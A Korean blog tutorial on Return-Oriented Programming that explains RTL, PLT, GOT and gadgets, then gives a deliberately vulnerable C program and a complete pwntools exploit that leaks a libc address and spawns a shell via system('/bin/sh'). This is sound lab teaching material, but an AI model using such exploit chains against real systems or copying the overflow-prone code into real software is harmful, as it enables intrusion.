시스템 해킹 실습 -14. ROP(Return Oriented Programming)

2024. 7. 29. 09:39Information Security 정보보안/Vulnerability Analysis 취약점 분석

728x90

 

배울내용:

시스템 해킹

시스템 보안 우회 기법

Canary 우회방법

카나리 우회방법

ROP

Return Oriented Programming
ROP 실습 

ROPgadget 공격

RTL

PLT

GOT

OFFSET

 

 

 

 

 

 

 

 

시스템 해킹에서 처음 접하는 사람에게는 어려운

나름 첫번째 큰 허들로 불리는 ROP (Return Oriented Programming) 이다 

 

 

 

Return-Oriented Programming (ROP)는 메모리 안전 메커니즘을 우회하기 위해 사용되는 익스플로잇 기술로 공격자가 미리 존재하는 코드 조각(gadget)을 재배열하여 악성 행동을 수행하는 기법이다. 이러한 코드 조각은 프로그램의 반환 주소를 조작하여 제어 흐름을 바꾸는 방식으로 실행된다.

 

ROP를 바로 알기 이전에 ROP 공격을 이해하기 위해서는 RTL, PLT, GOT, 그리고 OFFSET의 개념을 알아야 한다.

왜냐면 이 요소들은 프로그램의 실행 및 메모리 관리와 밀접하게 연관되어 있기 때문이다.

 

 

 

 

RTL (Return to Libc)

RTL은 공격자가 프로그램의 제어를 얻어 표준 라이브러리(libc)의 함수로 돌아가서 특정 동작을 수행하도록 하는 기법이다. 예를 들어, system() 함수를 호출하여 쉘을 여는 것이 가능합니다. 이는 ROP의 초기 형태로 볼 수 있다.

PLT (Procedure Linkage Table)

PLT는 프로그램이 실행 중에 공유 라이브러리의 함수들을 호출하기 위해 사용하는 간접 점프 테이블이다. 프로그램이 동적 링크된 라이브러리 함수를 처음 호출할 때, PLT는 라이브러리의 실제 주소를 찾아 GOT에 저장한 후 그 주소로 점프한다.

GOT (Global Offset Table)

GOT는 공유 라이브러리 함수의 실제 주소가 저장되는 테이블이다. 프로그램이 실행되는 동안, 동적 링크된 라이브러리의 함수 주소는 GOT에 저장되며, PLT는 GOT를 통해 해당 주소를 참조한다. 이 테이블을 조작함으로써 공격자는 함수 호출을 다른 주소로 리다이렉트할 수 있다.

OFFSET

OFFSET은 메모리 주소의 상대적 차이를 나타내는 용어로 ROP 공격에서 OFFSET은 함수의 실제 주소나 ROP 가젯의 위치를 찾기 위해 사용된다. 예를 들어, 특정 라이브러리 함수의 주소를 기준으로 다른 함수나 가젯의 주소를 계산하는 데 사용된다.

 

 

 

 

 

 

 

관계

이제 이 요소들이 어떻게 ROP와 연관되는지 보자 

  1. ROP 가젯: ROP 공격의 핵심 요소로, 코드에서 'ret' 명령어로 끝나는 작은 코드 조각들이다. 공격자는 스택을 조작하여 이 가젯들을 순서대로 실행되도록 한다.
  2. PLT와 GOT: 공격자는 PLT와 GOT를 조작하여 원하는 함수로의 점프를 유도할 수 있다. 예를 들어, GOT에 저장된 함수 주소를 덮어쓰면 해당 함수 호출이 공격자가 원하는 다른 함수나 코드 조각으로 리다이렉트될 수 있다.
  3. OFFSET: 공격자는 라이브러리 함수의 베이스 주소를 알고 있다면, OFFSET을 이용해 다른 함수나 가젯의 주소를 계산할 수 있다. 예를 들어, system() 함수의 주소를 알아낸다면, 이를 기준으로 다른 함수의 주소도 계산 가능하다.

 

 

 

위에내용을 어느정도 숙지했으면 Gadget 이라는 것도 알아야한다

Gadget 이란? 

  1. 작은 코드 조각: 가젯은 매우 짧은 코드 조각으로 보통 몇 개의 명령어로 구성되어 있다.
  2. ret 명령어로 끝남: 가젯은 "ret" 명령어로 끝나며, 이는 반환 주소를 스택에서 가져와 다음 명령어로 점프하게 한다.
  3. 프로그램 내에서 자연적으로 발생: 가젯은 프로그램이 원래 가지고 있는 코드에서 추출되는데 이는 프로그램의 정상적인 명령어들이 가젯으로 사용될 수 있음을 의미한다.

 

 

위에 내용을 어느정도 알았다면 Gadget 을 이용한 공격을 할수있다.

그러나 gadget은 binary 나 library 어디에서나 존재 하지만 aslr or PIE 가 걸려있으면 우회해야한다 

그러니 위해서는 ROPgadget 이란 자동으로 찾아주는 도구를 써야한다


ROP Gadget 이란?

ROPgadget 도구는 ELF 파일에서 사용할 수 있는 ROP 가젯을 찾아주는 유용한 도구로 이를 통해 공격자는 ROP 가젯을 쉽게 찾아낼 수 있다.

 

 

ROP Gadget을 이용한 공격

  1. 가젯 찾기: 공격자는 프로그램 내에서 사용할 수 있는 가젯들을 찾는다. 이를 위해 ROPgadget과 같은 도구를 사용할 수 있다.
  2. 가젯 체인 구성: 여러 가젯을 연결하여 원하는 작업을 수행하는 체인을 만든다.
  3. 스택 조작: 스택을 조작하여 반환 주소를 가젯의 주소로 변경.
  4. 가젯 실행:  그후가젯이 순차적으로 실행되면서 공격자가 원하는 작업이 수행한다.

 

 

 

 

 

위에 그림만 봐서는 쉽게 이해가 되지않는다. 그럼 아래를 보도록하자 

 

 

정상적인 함수 호출 흐름

[ Stack ]             [ PLT ]        [ GOT ]
   |                     |              |
   |                     |              |
   | --(Function Call)--> | --(Jump)--> |

 

정상적인 함수 호출의 흐름은 Stack에서 함수가 Call 되면 PLT 로가고  라이브러리의  실제주소를 찾아 PLT 에서 GOT에   저장한 후 JMP 한다. 즉, 프로그램이 실행되는 동안, 동적 링크된 라이브러리의 함수 주소는 GOT에 저장되며, PLT는 GOT를 통해 해당 주소를 참조한다.

 

 

스택 오버플로우 취약점 이용

[ Stack ]             [ PLT ]        [ GOT ]
   |                     |              |
   |                     |              |
[Overflow]               |              |
   |                     |              |
   | --(Modified Return Address)--> |

 

우리가 항상써왔던 스택오버플로우는 위와 같이 보이게 된다 

 

 

 

 ROP 가젯 실행

그리고 ROP 는 아래처럼

[ Stack ]             [ PLT ]        [ GOT ]
   |                     |              |
[ Gadget 1 ]             |              |
[ Gadget 2 ]             |              |
[ Gadget 3 ]             |              |
   |                     |              |
   |                     |              |

 

Gadget 을 이용해서  아래와 같이 조작할수있다

 

 

PLT와 GOT 조작

[ Stack ]             [ PLT ]        [ GOT ]
   |                     |              |
[ Gadget 1 ]             |              |
[ Gadget 2 ]             |              |
[ Modify GOT ]           |       [ Function Address ]
   |                     |              |
   |                     |              |

 

그리고 PLT와 GOT 조작으로 GOT에 저장된 함수주소를 공격자가 원하는 주소로 덮어쓸수있다. 

 

 

 

 

 

 

 

RTL 이 라이브러리 함수를 한번 호출하는 것으로 공격하는 것이라면, ROP 는  RTL 을 여러번 호출하여 결과적으로 프로그래밍 하는 것과 같은 동작을 수행하는 것이라고 볼수있다 

 

 

 

 

 

 

 

 

 

 

실제 함수가 실행되었을떄랑 안되었을랑 실행을 해보면 주소가 바뀌는걸 아래와 같이 볼수있다.

 

 

 

 

 

 

 

 

ROP 익스플로이트 시나리오

 

 

 

 

 

 

 

 

코드작성 

/*
    gcc -Wall -fno-stack-protector -no-pie -Wl,-z,now rop.c -o rop
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#pragma GCC diagnostic ignored "-Wstringop-overflow"

void gadget() {
  __asm__ (
    "pop %rdi\n\t"
    "pop %rsi\n\t"
    "pop %rdx\n\t"
    "ret\n\t"
  );
}

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
}

void vuln() {
  char buf[0x40] = { 0, };
  read(0, buf, 0x100);
  write(1, buf, 0x40);
}

int main() {
  init();
  vuln();
  return 0;
}

 

 

 

 

 

ROPgadget 은 아래와 같은 명령어로 설치하면 된다 

Sudo apt-get install -y python3-ropgadget

 

 

 

그리고 아래와 같이 쓰면 된다 

ROPgadget -–binary ./libc.so.6

 

 

-binary 는 바이너리 파일을 지정하여 가젯을 찾는것이다.

찾게 되면 아래처럼 보이게 된다

 

 

 

 

 

 

문제 풀이 

 

문제를 풀어보면 먼저 위에서 작성했던 코드를 컴파일 시킨후 gdb ./rop  GDB를 열어서 

Checksec 으로 보안기법이 어떤게 적용 됬는지 확인을 한다.

 

 

 

 

그러면 이걸보면 어떻게 공격해야하는지 알수있게 된다

 

  • NX 설정됨: 스택에서 코드 실행 불가 → 쉘코드 사용 불가능.
  • RELRO (FULL) 설정됨: GOT 공격 불가능.
  • PIE 비활성화: 바이너리의 고정된 절대 주소 사용 가능 → 바이너리 내 가젯 사용 가능.
  • RBP 레지스터 변조 가능: SFP를 조작하여 ROP 체인 구성.

 

 

 

그런데 우리는 이문제에서 바로 위에 작성된 코드에서  큰 힌트를 확인할수있다 

void gadget() {
  __asm__ (
    "pop %rdi\n\t"
    "pop %rsi\n\t"
    "pop %rdx\n\t"
    "ret\n\t"
  );
}

 

바로 pop rdi , pop rsi , pop rdx 후에 ret 리턴을 하는걸 알수있다 

그러면 바로 ROPgadget 으로 이러한게 있나 확인을 해보자

 

 

 

 

 

 

그러면 정확히 일치하는 gadget 이 보이고 이는 40117e 라는 걸 알수있고 나중에 이걸 pppr (pop; pop; pop; ret의 줄임말)에 저장해서 스크립트에 쓸수있다 

 

 

 

void vuln() {
  char buf[0x40] = { 0, };
  read(0, buf, 0x100);
  write(1, buf, 0x40);
}

 

위에 코드에는 버퍼의 크키를 알수있으니  write(1,read_got , 0x8) 이 함수와 위에 pppr 을이용해 스크립트를 작성할수있다.

 

 

스크립트 작성 

더보기

스크립트 작성 

from pwn import *


elf= ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = elf.process()

pppr= 0x040117e #pop rdi ; pop rsi ; pop rdx ; ret

payload = b""
payload += b"A" * (0x40) # buffer
payload += b"B" * (0x8) #SFP 
 
#write(1,read_got , 0x8)
#rdi :1
#rsi : &read got
#rdx :0x8

#pop rdi; ret  ,<< have to use this 
payload += p64(pppr) #ret
payload += p64(1)               #arvg[0]
payload += p64(elf.got["read"]) #arvg[1]
payload += p64(0x8)             #arvg[2]
payload += p64(elf.plt["write"])#call

payload += p64(elf.sym["main"]) 


p.send(payload)
p.recv(0x40)

libc_read = u64(p.recv(0x8))
libc_base = libc_read - libc.sym["read"] 
libc_execve = libc_base + libc.sym["system"]  
libc_binsh = libc_base + list(libc.search(b"/bin/sh\0"))[0]

log.info(f"libc_base @ {libc_base:#x}")
log.info(f"libc_read @ {libc_read:#x}")
log.info(f"libc_execve @ {libc_execve:#x}")
log.info(f"libc_binsh @ {libc_binsh:#x}")
 
payload = b""
payload += b"A" * 0x40
payload += b"B" * 0x8
#execve("/bin/sh", NULL,NULL)
payload +=p64(pppr)
payload +=p64(libc_binsh)
payload +=p64(0x0)
payload +=p64(0x0)
payload +=p64(pppr + 3) #ret : pop rip ; jmp rip
payload +=p64(libc_execve)
# gdb.attach(p)
p.send(payload)
p.recv()
p.interactive()

 

각각의  코드를 설명하면 이렇다 

아래를 클릭하면 열린다

 

더보기

코드 열기   

from pwn import *

# 바이너리 파일과 libc 파일을 ELF 객체로 로드합니다
elf = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# 로컬에서 바이너리 파일을 실행합니다
p = elf.process()

# 가젯 주소를 설정합니다: pop rdi; pop rsi; pop rdx; ret
pppr = 0x040117e 

# 첫 번째 페이로드를 구성합니다
payload = b""
payload += b"A" * (0x40) # 버퍼 오버플로우를 일으키기 위해 0x40 바이트의 'A'를 추가합니다
payload += b"B" * (0x8)  # SFP (Saved Frame Pointer)를 덮기 위해 8 바이트의 'B'를 추가합니다

# write(1, read_got, 0x8)를 호출하는 ROP 체인을 구성합니다
# rdi: 1 (표준 출력)
# rsi: read 함수의 GOT 엔트리 주소
# rdx: 0x8 (8바이트를 출력)

payload += p64(pppr)                # pppr 가젯 주소를 추가합니다
payload += p64(1)                   # rdi = 1 (표준 출력)
payload += p64(elf.got["read"])     # rsi = read 함수의 GOT 엔트리 주소
payload += p64(0x8)                 # rdx = 8 (8바이트를 출력)
payload += p64(elf.plt["write"])    # write 함수의 PLT 엔트리 주소를 추가하여 호출합니다

payload += p64(elf.sym["main"])     # write 호출 후 main 함수로 돌아갑니다

# 첫 번째 페이로드를 프로그램에 전송합니다
p.send(payload)
p.recv(0x40) # 버퍼 크기만큼 응답을 수신합니다

# 프로그램으로부터 read 함수의 실제 주소를 수신하고 64비트 정수로 변환합니다
libc_read = u64(p.recv(0x8))

# read 함수의 오프셋을 이용하여 libc의 베이스 주소를 계산합니다
libc_base = libc_read - libc.sym["read"]

# libc 베이스 주소를 이용하여 system 함수의 실제 주소를 계산합니다
libc_execve = libc_base + libc.sym["system"]

# libc 베이스 주소를 이용하여 "/bin/sh" 문자열의 실제 주소를 계산합니다
libc_binsh = libc_base + list(libc.search(b"/bin/sh\0"))[0]

# 계산된 주소들을 로그에 출력합니다
log.info(f"libc_base @ {libc_base:#x}")
log.info(f"libc_read @ {libc_read:#x}")
log.info(f"libc_execve @ {libc_execve:#x}")
log.info(f"libc_binsh @ {libc_binsh:#x}")

# 두 번째 페이로드를 구성합니다
payload = b""
payload += b"A" * 0x40              # 버퍼 오버플로우를 일으키기 위해 0x40 바이트의 'A'를 추가합니다
payload += b"B" * 0x8               # SFP (Saved Frame Pointer)를 덮기 위해 8 바이트의 'B'를 추가합니다

# execve("/bin/sh", NULL, NULL)를 호출하는 ROP 체인을 구성합니다
payload += p64(pppr)                # pppr 가젯 주소를 추가합니다
payload += p64(libc_binsh)          # rdi = "/bin/sh" 문자열의 주소
payload += p64(0x0)                 # rsi = NULL
payload += p64(0x0)                 # rdx = NULL
payload += p64(pppr + 3)            # ret; 다음 가젯 주소 (pppr 가젯 이후의 ret 주소)
payload += p64(libc_execve)         # execve("/bin/sh", NULL, NULL)를 호출하는 system 함수의 주소

# 두 번째 페이로드를 프로그램에 전송합니다
p.send(payload)
p.recv() # 응답을 수신합니다
p.interactive() # 인터랙티브 모드로 전환하여 쉘을 사용합니다

 

 

이렇게 되고 이걸 실행하게 되면 

 

 

 

성공적으로 exploit 된걸 확인할수있다 

 

 

 

 

 

 

 

 

 

 

 

728x90